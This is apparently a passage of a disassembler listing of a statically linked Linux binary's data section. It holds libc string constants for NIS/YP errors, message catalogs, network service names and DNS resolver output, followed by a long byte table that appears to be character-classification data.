aYp_firstClnt_c	db 'yp_first: clnt_call',0 ; DATA XREF: sub_805D638+D4o
aYp_nextClnt_ca	db 'yp_next: clnt_call',0 ; DATA XREF: sub_805D814+F4o
aClnttcp_create	db 'clnttcp_create failed',0Ah,0 ; DATA XREF: .text:0805DAC1o
aYp_orderClnt_c	db 'yp_order: clnt_call',0 ; DATA XREF: .text:0805DC24o
aYp_masterClnt_	db 'yp_master: clnt_call',0 ; DATA XREF: .text:0805DD1Ao
aYp_maplistClnt	db 'yp_maplist: clnt_call',0 ; DATA XREF: .text:0805DE50o
aSuccess	db 'Success',0          ; DATA XREF: yperr_string+5Co
aRequestArgumen	db 'Request arguments bad',0 ; DATA XREF: yperr_string+68o
aRpcFailure	db 'RPC failure',0      ; DATA XREF: yperr_string+74o
aCanTBindToServ	db 'Can',27h,'t bind to server which serves this domain',0
					; DATA XREF: yperr_string+80o
aNoSuchMapInSer	db 'No such map in server',27h,'s domain',0 ; DATA XREF: yperr_string+8Co
aNoSuchKeyInMap	db 'No such key in map',0 ; DATA XREF: yperr_string+98o
aYpServerError	db 'YP server error',0  ; DATA XREF: yperr_string+A4o
aLocalResourceA	db 'Local resource allocation failure',0 ; DATA XREF: yperr_string+B0o
aNoMoreRecordsI	db 'No more records in map database',0 ; DATA XREF: yperr_string+BCo
aCanTCommunicat	db 'Can',27h,'t communicate with portmapper',0 ; DATA XREF: yperr_string+C8o
aCanTCommunic_0	db 'Can',27h,'t communicate with ypbind',0 ; DATA XREF: yperr_string+D4o
aCanTCommunic_1	db 'Can',27h,'t communicate with ypserv',0 ; DATA XREF: yperr_string+E0o
aLocalDomainNam	db 'Local domain name not set',0 ; DATA XREF: yperr_string+ECo
aServerDataBase	db 'Server data base is bad',0 ; DATA XREF: yperr_string+F8o
aYpServerVersio	db 'YP server version mismatch - server can',27h,'t supply servi'
					; DATA XREF: yperr_string+104o
		db 'ce.',0
aAccessViolatio	db 'Access violation',0 ; DATA XREF: yperr_string+110o
aDatabaseIsBusy	db 'Database is busy',0 ; DATA XREF: yperr_string+11Co
aYpUnknownError	db 'YP unknown error %d',0Ah,0 ; DATA XREF: yperr_string+129o
aNone		db '(none)',0           ; DATA XREF: .text:0805E0D2o
aC_1		db 'C',0                ; DATA XREF: catopen+7Eo
aNlspath	db 'NLSPATH',0          ; DATA XREF: catopen+88o
aEtcLocaleLN_ca	db '/etc/locale/%L/%N.cat:/usr/lib/locale/%L/%N.cat:/usr/lib/loc'
					; DATA XREF: catopen+9Bo
		db 'ale/%N/%L:/usr/share/locale/%L/%N.cat:/usr/local/share/local'
		db 'e/%L/%N.cat',0
asc_806940E	db ':',0                ; DATA XREF: catopen+129o
aNazgul		db '*nazgul*',0         ; DATA XREF: sub_805E640+98o
aMessageCatalog	db 'Message Catalog System',0 ; DATA XREF: sub_805E640+C1o
					; sub_805E640+EAo ...
aSCorruptFile_	db '%s: corrupt file.',0Ah,0 ; DATA XREF: sub_805E640+1BDo
aSSIsVersionDWe	db '%s: %s is version %d, we need %d.',0Ah,0 ; DATA XREF: sub_805E640+C6o
aSSHasDSets	db '%s: %s has %d sets!',0Ah,0 ; DATA XREF: sub_805E640+EFo
aSNoMoreMemory_	db '%s: no more memory.',0Ah,0 ; DATA XREF: sub_805E640+134o
unk_8069490	db    0	;		; DATA XREF: libc_nls_init+Co
aLibc		db 'libc',0             ; DATA XREF: libc_nls_init+1Ao
aD_D_D_D_0	db '%d.%d.%d.%d',0      ; DATA XREF: inet_ntoa+17o
aRje		db 'rje',0              ; DATA XREF: sub_805E9B8+2B4o
aEcho		db 'echo',0             ; DATA XREF: sub_805E9B8+2C0o
aDiscard	db 'discard',0          ; DATA XREF: sub_805E9B8+2CCo
aSystat		db 'systat',0           ; DATA XREF: sub_805E9B8+2D8o
aDaytime	db 'daytime',0          ; DATA XREF: sub_805E9B8+2E4o
aNetstat	db 'netstat',0          ; DATA XREF: sub_805E9B8+2F0o
aQotd		db 'qotd',0             ; DATA XREF: sub_805E9B8+2FCo
aChargen	db 'chargen',0          ; DATA XREF: sub_805E9B8+308o
aFtpData	db 'ftp-data',0         ; DATA XREF: sub_805E9B8+314o
aFtp		db 'ftp',0              ; DATA XREF: sub_805E9B8+320o
aTelnet		db 'telnet',0           ; DATA XREF: sub_805E9B8+32Co
aSmtp		db 'smtp',0             ; DATA XREF: sub_805E9B8+338o
aTime		db 'time',0             ; DATA XREF: sub_805E9B8+344o
aRlp		db 'rlp',0              ; DATA XREF: sub_805E9B8+350o
aName		db 'name',0             ; DATA XREF: sub_805E9B8+35Co
aWhois		db 'whois',0            ; DATA XREF: sub_805E9B8+368o
aDomain_0	db 'domain',0           ; DATA XREF: sub_805E9B8+374o
aApts		db 'apts',0             ; DATA XREF: sub_805E9B8+380o
aApfs		db 'apfs',0             ; DATA XREF: sub_805E9B8+38Co
aBootps		db 'bootps',0           ; DATA XREF: sub_805E9B8+398o
aBootpc		db 'bootpc',0           ; DATA XREF: sub_805E9B8+3A4o
aTftp		db 'tftp',0             ; DATA XREF: sub_805E9B8+3B0o
aFinger		db 'finger',0           ; DATA XREF: sub_805E9B8+3BCo
aLink		db 'link',0             ; DATA XREF: sub_805E9B8+3C8o
aSupdup		db 'supdup',0           ; DATA XREF: sub_805E9B8+3D4o
aNewacct	db 'newacct',0          ; DATA XREF: sub_805E9B8+3E0o
aHostnames	db 'hostnames',0        ; DATA XREF: sub_805E9B8+3ECo
aIsoTsap	db 'iso-tsap',0         ; DATA XREF: sub_805E9B8+3F8o
aX400		db 'x400',0             ; DATA XREF: sub_805E9B8+404o
aX400Snd	db 'x400-snd',0         ; DATA XREF: sub_805E9B8+410o
aCsnetNs	db 'csnet-ns',0         ; DATA XREF: sub_805E9B8+41Co
aPop2		db 'pop-2',0            ; DATA XREF: sub_805E9B8+428o
aSunrpc		db 'sunrpc',0           ; DATA XREF: sub_805E9B8+434o
aAuth		db 'auth',0             ; DATA XREF: sub_805E9B8+440o
aSftp		db 'sftp',0             ; DATA XREF: sub_805E9B8+44Co
aUucpPath	db 'uucp-path',0        ; DATA XREF: sub_805E9B8+458o
aNntp		db 'nntp',0             ; DATA XREF: sub_805E9B8+464o
aErpc		db 'erpc',0             ; DATA XREF: sub_805E9B8+470o
aNtp		db 'ntp',0              ; DATA XREF: sub_805E9B8+47Co
aStatsrv	db 'statsrv',0          ; DATA XREF: sub_805E9B8+488o
aProfile	db 'profile',0          ; DATA XREF: sub_805E9B8+494o
aNews		db 'NeWS',0             ; DATA XREF: sub_805E9B8+4A0o
aSnmp		db 'snmp',0             ; DATA XREF: sub_805E9B8+4ACo
aSnmpTrap	db 'snmp-trap',0        ; DATA XREF: sub_805E9B8+4B8o
aPrintSrv	db 'print-srv',0        ; DATA XREF: sub_805E9B8+4C4o
aD_0		db '%d',0               ; DATA XREF: sub_805E9B8+4D1o
					; sub_805EEA4+F1o ...
aIcmp		db 'icmp',0             ; DATA XREF: sub_805EEA4+60o
aIgmp		db 'igmp',0             ; DATA XREF: sub_805EEA4+6Co
aGgp		db 'ggp',0              ; DATA XREF: sub_805EEA4+78o
aSt		db 'st',0               ; DATA XREF: sub_805EEA4+84o
aTcp		db 'tcp',0              ; DATA XREF: sub_805EEA4+90o
aUcl		db 'ucl',0              ; DATA XREF: sub_805EEA4+9Co
aEgp		db 'egp',0              ; DATA XREF: sub_805EEA4+A8o
aIgp		db 'igp',0              ; DATA XREF: sub_805EEA4+B4o
aNvpIi		db 'nvp-II',0           ; DATA XREF: sub_805EEA4+C0o
aPup		db 'pup',0              ; DATA XREF: sub_805EEA4+CCo
aChaos		db 'chaos',0            ; DATA XREF: sub_805EEA4+D8o
aUdp		db 'udp',0              ; DATA XREF: sub_805EEA4+E4o
aResOptions	db ';; res options:',0  ; DATA XREF: __fp_resstat+Co
aS_0		db ' %s',0              ; DATA XREF: __fp_resstat+34o
aHeaderOpcodeSS	db ';; ->>HEADER<<- opcode: %s, status: %s, id: %d',0
					; DATA XREF: sub_805F1DC+8Ao
aFlags		db '; flags:',0         ; DATA XREF: sub_805F1DC+FFo
aQr		db ' qr',0              ; DATA XREF: sub_805F1DC+119o
aAa		db ' aa',0              ; DATA XREF: sub_805F1DC+133o
aTc		db ' tc',0              ; DATA XREF: sub_805F1DC+14Do
aRd		db ' rd',0              ; DATA XREF: sub_805F1DC+167o
aRa		db ' ra',0              ; DATA XREF: sub_805F1DC+181o
aQuesD		db '; Ques: %d',0       ; DATA XREF: sub_805F1DC+1B7o
aAnsD		db ', Ans: %d',0        ; DATA XREF: sub_805F1DC+1D7o
aAuthD		db ', Auth: %d',0       ; DATA XREF: sub_805F1DC+1F7o
aAdditD		db ', Addit: %d',0      ; DATA XREF: sub_805F1DC+217o
aQuestions	db ';; QUESTIONS:',0Ah,0 ; DATA XREF: sub_805F1DC+27Eo
asc_806969E	db ';;',9,0             ; DATA XREF: sub_805F1DC+2A6o
aTypeS		db ', type = %s',0      ; DATA XREF: sub_805F1DC+34Ao
aClassS		db ', class = %s',0Ah,0 ; DATA XREF: sub_805F1DC+38Bo
aAnswers	db ';; ANSWERS:',0Ah,0  ; DATA XREF: sub_805F1DC+3E0o
aAuthorityRecor	db ';; AUTHORITY RECORDS:',0Ah,0 ; DATA XREF: sub_805F1DC+412o
aAdditionalReco	db ';; ADDITIONAL RECORDS:',0Ah,0 ; DATA XREF: sub_805F1DC+444o
a___truncated	db 0Ah			; DATA XREF: sub_805F1DC+474o
		db ';; ...truncated',0Ah,0
a___malformed	db 0Ah			; DATA XREF: sub_805F1DC+47Co
		db ';; ...malformed',0Ah,0
aLu		db 9,'%lu',0            ; DATA XREF: sub_805F7E4+9Eo
aS_1		db 9,'%s',0             ; DATA XREF: sub_805F7E4+C5o
					; sub_805F7E4+DDo ...
aSProtoDPortD	db 9,'%s',9,'; proto %d, port %d',0 ; DATA XREF: sub_805F7E4+2FFo
a_S		db 9,'%.*s',0           ; DATA XREF: sub_805F7E4+34Ao
					; sub_805F7E4+369o
aWarningOsTypeM	db 0Ah			; DATA XREF: sub_805F7E4+38Ao
		db ';; *** Warning *** OS-type missing',0
asc_8069767	db ' (',0Ah,0           ; DATA XREF: sub_805F7E4+412o
aLuSerial	db 9,9,9,'%lu',9,'; serial',0Ah,0 ; DATA XREF: sub_805F7E4+428o
aLuRefreshS	db 9,9,9,'%lu',9,'; refresh (%s)',0Ah,0 ; DATA XREF: sub_805F7E4+446o
aLuRetryS	db 9,9,9,'%lu',9,'; retry (%s)',0Ah,0 ; DATA XREF: sub_805F7E4+467o
aLuExpireS	db 9,9,9,'%lu',9,'; expire (%s)',0Ah,0 ; DATA XREF: sub_805F7E4+485o
aLuMinimumS	db 9,9,9,'%lu )',9,'; minimum (%s)',0 ; DATA XREF: sub_805F7E4+4A6o
aD_1		db 9,'%d ',0            ; DATA XREF: sub_805F7E4+4C8o
					; sub_805F7E4+4F8o
asc_80697DB	db 9,'"',0              ; DATA XREF: sub_805F7E4+531o
aU		db 9,'%u',0             ; DATA XREF: sub_805F7E4+6C5o
aSS		db 9,'%s %s ( ',0       ; DATA XREF: sub_805F7E4+70Co
asc_80697EC	db 0Ah			; DATA XREF: sub_805F7E4+73Do
		db 9,9,9,0
a?D?		db 9,'?%d?',0           ; DATA XREF: sub_805F7E4+7C4o
aPacketSizeErro	db ';; packet size error (found %d, dlen was %d)',0Ah,0
					; DATA XREF: sub_805F7E4+804o
aA		db 'A',0                ; DATA XREF: __p_type+418o
aNs		db 'NS',0               ; DATA XREF: __p_type+424o
aCname		db 'CNAME',0            ; DATA XREF: __p_type+430o
aSoa		db 'SOA',0              ; DATA XREF: __p_type+43Co
aMb		db 'MB',0               ; DATA XREF: __p_type+448o
aMg		db 'MG',0               ; DATA XREF: __p_type+454o
aMr		db 'MR',0               ; DATA XREF: __p_type+460o
aNull_0		db 'NULL',0             ; DATA XREF: __p_type+46Co
aWks		db 'WKS',0              ; DATA XREF: __p_type+478o
aPtr		db 'PTR',0              ; DATA XREF: __p_type+484o
aHinfo		db 'HINFO',0            ; DATA XREF: __p_type+490o
aMinfo		db 'MINFO',0            ; DATA XREF: __p_type+49Co
aMx		db 'MX',0               ; DATA XREF: __p_type+4A8o
aTxt		db 'TXT',0              ; DATA XREF: __p_type+4B4o
aRp		db 'RP',0               ; DATA XREF: __p_type+4C0o
aAfsdb		db 'AFSDB',0            ; DATA XREF: __p_type+4CCo
aX25		db 'X25',0              ; DATA XREF: __p_type+4D8o
aIsdn		db 'ISDN',0             ; DATA XREF: __p_type+4E4o
aRt		db 'RT',0               ; DATA XREF: __p_type+4F0o
aNsap		db 'NSAP',0             ; DATA XREF: __p_type+4FCo
aNsap_ptr	db 'NSAP_PTR',0         ; DATA XREF: __p_type+508o
aSig		db 'SIG',0              ; DATA XREF: __p_type+514o
aKey		db 'KEY',0              ; DATA XREF: __p_type+520o
aPx		db 'PX',0               ; DATA XREF: __p_type+52Co
aGpos		db 'GPOS',0             ; DATA XREF: __p_type+538o
aAaaa		db 'AAAA',0             ; DATA XREF: __p_type+544o
aLoc		db 'LOC',0              ; DATA XREF: __p_type+550o
aAxfr		db 'AXFR',0             ; DATA XREF: __p_type+55Co
aMailb		db 'MAILB',0            ; DATA XREF: __p_type+568o
aMaila		db 'MAILA',0            ; DATA XREF: __p_type+574o
aAny		db 'ANY',0              ; DATA XREF: __p_type+580o
					; sub_80605D0+38o
aUinfo		db 'UINFO',0            ; DATA XREF: __p_type+58Co
aUid		db 'UID',0              ; DATA XREF: __p_type+598o
aGid		db 'GID',0              ; DATA XREF: __p_type+5A4o
aIn		db 'IN',0               ; DATA XREF: sub_80605D0+20o
aHs		db 'HS',0               ; DATA XREF: sub_80605D0+2Co
aInit		db 'init',0             ; DATA XREF: sub_8060630+A0o
aDebug_1	db 'debug',0            ; DATA XREF: sub_8060630+ACo
aAaonlyUnimpl	db 'aaonly(unimpl)',0   ; DATA XREF: sub_8060630+B8o
aUsevc		db 'usevc',0            ; DATA XREF: sub_8060630+C4o
aPrimryUnimpl	db 'primry(unimpl)',0   ; DATA XREF: sub_8060630+D0o
aIgntc		db 'igntc',0            ; DATA XREF: sub_8060630+DCo
aRecurs		db 'recurs',0           ; DATA XREF: sub_8060630+E8o
aDefnam		db 'defnam',0           ; DATA XREF: sub_8060630+F4o
aStyopn		db 'styopn',0           ; DATA XREF: sub_8060630+100o
aDnsrch		db 'dnsrch',0           ; DATA XREF: sub_8060630+10Co
aInsecure1	db 'insecure1',0        ; DATA XREF: sub_8060630+118o
aInsecure2	db 'insecure2',0        ; DATA XREF: sub_8060630+124o
a?0xLx?		db '?0x%lx?',0          ; DATA XREF: sub_8060630+131o
dword_806992F	dd 65732030h		; DATA XREF: sub_806077C+10r
word_8069933	dw 7363h		; DATA XREF: sub_806077C+1Ar
byte_8069935	db 0			; DATA XREF: sub_806077C+26r
unk_8069936	db    0	;		; DATA XREF: sub_806077C+6Bo
					; sub_806077C+9Co ...
unk_8069937	db  73h	; s		; DATA XREF: sub_806077C+61o
					; sub_806077C+92o ...
		db    0	;  
aDDayS		db '%d day%s',0         ; DATA XREF: sub_806077C+72o
aDHourS		db '%d hour%s',0        ; DATA XREF: sub_806077C+A3o
aDMinS		db '%d min%s',0         ; DATA XREF: sub_806077C+E1o
aDSecS		db '%d sec%s',0         ; DATA XREF: sub_806077C+131o
aZoneref	db 'ZONEREF',0          ; DATA XREF: .data:08078FE8o
aZoneinit	db 'ZONEINIT',0         ; DATA XREF: .data:08078FE4o
aUpdatema	db 'UPDATEMA',0         ; DATA XREF: .data:08078FE0o
aUpdatem	db 'UPDATEM',0          ; DATA XREF: .data:08078FDCo
aUpdateda	db 'UPDATEDA',0         ; DATA XREF: .data:08078FD8o
aUpdated	db 'UPDATED',0          ; DATA XREF: .data:08078FD4o
aUpdatea	db 'UPDATEA',0          ; DATA XREF: .data:08078FD0o
a8		db '8',0                ; DATA XREF: .data:08078FCCo
					; .data:0807900Co
a7		db '7',0                ; DATA XREF: .data:08078FC8o
					; .data:08079008o
a6		db '6',0                ; DATA XREF: .data:08078FC4o
					; .data:08079004o
a5		db '5',0                ; DATA XREF: .data:08078FC0o
aNotify		db 'NOTIFY',0           ; DATA XREF: .data:08078FBCo
aCqueryu	db 'CQUERYU',0          ; DATA XREF: .data:08078FB8o
aCquerym	db 'CQUERYM',0          ; DATA XREF: .data:08078FB4o
aIquery		db 'IQUERY',0           ; DATA XREF: .data:08078FB0o
aQuery		db 'QUERY',0
aNochange	db 'NOCHANGE',0         ; DATA XREF: .data:08079028o
a14		db '14',0               ; DATA XREF: .data:08079024o
a13		db '13',0               ; DATA XREF: .data:08079020o
a12		db '12',0               ; DATA XREF: .data:0807901Co
a11		db '11',0               ; DATA XREF: .data:08079018o
a10		db '10',0               ; DATA XREF: .data:08079014o
a9		db '9',0                ; DATA XREF: .data:08079010o
aRefused	db 'REFUSED',0          ; DATA XREF: .data:08079000o
aNotimp		db 'NOTIMP',0           ; DATA XREF: .data:08078FFCo
aNxdomain	db 'NXDOMAIN',0         ; DATA XREF: .data:08078FF8o
aServfail	db 'SERVFAIL',0         ; DATA XREF: .data:08078FF4o
aFormerr	db 'FORMERR',0          ; DATA XREF: .data:08078FF0o
aNoerror	db 'NOERROR',0
aRes_mkqueryDSD	db ';; res_mkquery(%d, %s, %d, %d)',0Ah,0 ; DATA XREF: res_mkquery+51o
a00000000000000	db '                0000000000000000',0 ; DATA XREF: _IO_padn+13o
asc_8069A51	db ': ',0               ; DATA XREF: _IO_perror+2Co
aSSS		db '%s%s%s',0Ah,0       ; DATA XREF: _IO_perror+59o
aUnknownError	db 'Unknown error',0    ; DATA XREF: _IO_perror+6Do
aSSSD		db '%s%s%s %d',0Ah,0    ; DATA XREF: _IO_perror+87o
a0123456789abcd	db '0123456789abcdefghijklmnopqrstuvwxyz',0 ; DATA XREF: _IO_vfprintf+E7Co
					; _IO_vfprintf+28CEo ...
a0123456789ab_0	db '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ',0 ; DATA XREF: _IO_vfprintf+E8Fo
					; _IO_vfprintf+28EBo ...
		align 4
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    3	;  
		db  20h	;  
		db    2	;  
		db  20h	;  
		db    2	;  
		db  20h	;  
		db    2	;  
		db  20h	;  
		db    2	;  
		db  20h	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    1	;  
		db  60h	; `
		db    4	;  
		db 0C0h	; ю
		db    4	;  
		db 0C0h	; ю
		db    4	;  
		db 0C0h	; ю
		db    4	;  
		db 0C0h	; ю
		db    4	;  
		db 0C0h	; ю
		db    4	;  
		db 0C0h	; ю
		db    4	;  
		db 0C0h	; ю
		db    4	;  
		db 0C0h	; ю
		db    4	;  
		db 0C0h	; ю
		db    4	;  
		db 0C0h	; ю
		db    4	;  
		db 0C0h	; ю
		db    4	;  
		db 0C0h	; ю
		db    4	;  
		db 0C0h	; ю
		db    4	;  
		db 0C0h	; ю
		db    4	;  
		db 0C0h	; ю
		db    0	;  
		db 0D8h	; ь
		db    0	;  
		db 0D8h	; ь
		db    0	;  
		db 0D8h	; ь
		db    0	;  
		db 0D8h	; ь
		db    0	;  
		db 0D8h	; ь
		db    0	;  
		db 0D8h	; ь
		db    0	;  
		db 0D8h	; ь
		db    0	;  
		db 0D8h	; ь
		db    0	;  
		db 0D8h	; ь
		db    0	;  
		db 0D8h	; ь
		db    4	;  
		db 0C0h	; ю
		db    4	;  
		db 0C0h	; ю
		db    4	;  
		db 0C0h	; ю
		db    4	;  
		db 0C0h	; ю
		db    4	;  
		db 0C0h	; ю
		db    4	;  
		db 0C0h	; ю
		db    4	;  
		db 0C0h	; ю
		db    0	;  
		db 0D5h	; у
		db    0	;  
		db 0D5h	; у
		db    0	;  
		db 0D5h	; у
		db    0	;  
		db 0D5h	; у
		db    0	;  
		db 0D5h	; у
		db    0	;  
		db 0D5h	; у
		db    0	;  
		db 0C5h	; е
		db    0	;  
		db 0C5h	; е
		db    0	;  
		db 0C5h	; е
		db    0	;  
		db 0C5h	; е
		db    0	;  
		db 0C5h	; е
		db    0	;  
		db 0C5h	; е
		db    0	;  
		db 0C5h	; е
		db    0	;  
		db 0C5h	; е
		db    0	;  
		db 0C5h	; е
		db    0	;  
		db 0C5h	; е
		db    0	;  
		db 0C5h	; е
		db    0	;  
		db 0C5h	; е
		db    0	;  
		db 0C5h	; е
		db    0	;  
		db 0C5h	; е
		db    0	;  
		db 0C5h	; е
		db    0	;  
		db 0C5h	; е
		db    0	;  
		db 0C5h	; е
		db    0	;  
		db 0C5h	; е
		db    0	;  
		db 0C5h	; е
		db    0	;  
		db 0C5h	; е
		db    4	;  
		db 0C0h	; ю
		db    4	;  
		db 0C0h	; ю
		db    4	;  
		db 0C0h	; ю
		db    4	;  
		db 0C0h	; ю
		db    4	;  
		db 0C0h	; ю
		db    4	;  
		db 0C0h	; ю
		db    0	;  
		db 0D6h	; ж
		db    0	;  
		db 0D6h	; ж
		db    0	;  
		db 0D6h	; ж
		db    0	;  
		db 0D6h	; ж
		db    0	;  
		db 0D6h	; ж
		db    0	;  
		db 0D6h	; ж
		db    0	;  
		db 0C6h	; ф
		db    0	;  
		db 0C6h	; ф
		db    0	;  
		db 0C6h	; ф
		db    0	;  
		db 0C6h	; ф
		db    0	;  
		db 0C6h	; ф
		db    0	;  
		db 0C6h	; ф
		db    0	;  
		db 0C6h	; ф
		db    0	;  
		db 0C6h	; ф
		db    0	;  
		db 0C6h	; ф
		db    0	;  
		db 0C6h	; ф
		db    0	;  
		db 0C6h	; ф
		db    0	;  
		db 0C6h	; ф
		db    0	;  
		db 0C6h	; ф
		db    0	;  
		db 0C6h	; ф
		db    0	;  
		db 0C6h	; ф
		db    0	;  
		db 0C6h	; ф
		db    0	;  
		db 0C6h	; ф
		db    0	;  
		db 0C6h	; ф
		db    0	;  
		db 0C6h	; ф
		db    0	;  
		db 0C6h	; ф
		db    4	;  
		db 0C0h	; ю
		db    4	;  
		db 0C0h	; ю
		db    4	;  
		db 0C0h	; ю
		db    4	;  
		db 0C0h	; ю
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
		db    2	;  
		db    0	;  
